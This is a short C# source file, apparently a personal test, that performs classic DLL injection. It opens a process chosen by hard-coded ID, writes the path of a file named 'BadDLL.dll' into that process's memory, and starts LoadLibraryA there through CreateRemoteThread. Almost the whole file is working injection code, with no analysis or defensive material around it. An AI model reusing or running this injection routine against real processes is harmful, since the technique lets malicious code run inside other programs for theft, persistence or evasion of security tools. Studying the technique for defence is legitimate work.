DLL Injection Test C#

//
// DllInjectionTest.cs
//
/////////////////////

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

namespace DLLInjectionTestCS
{
    class Program
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
            IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        // privileges for OpenProcess
        const int PROCESS_CREATE_THREAD = 0x0002;
        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int PROCESS_VM_OPERATION = 0x0008;
        const int PROCESS_VM_WRITE = 0x0020;
        const int PROCESS_VM_READ = 0x0010;

        // used for VirtualAllocEx
        const uint MEM_COMMIT = 0x00001000;
        const uint MEM_RESERVE = 0x00002000;
        const uint PAGE_READWRITE = 4;


        static int Main()
        {
           Process targetProcess = Process.GetProcessById(20072); // You just enter the process ID, manually.
          //Process targetProcess = Process.GetProcessById(12428); // You just enter the process ID, manually.

            string myBadDLL = "\\work\\DLLInjection\\BadDLL\\x64\\Debug\\BadDLL.dll"; //x64
            //string myBadDLL = "\\work\\DLLInjection\\BadDLL\\Debug\\BadDLL.dll"; //x32

            if (!(File.Exists(myBadDLL)))
                return -1;

            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(myBadDLL), (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);

            return 0;
        }
    }
}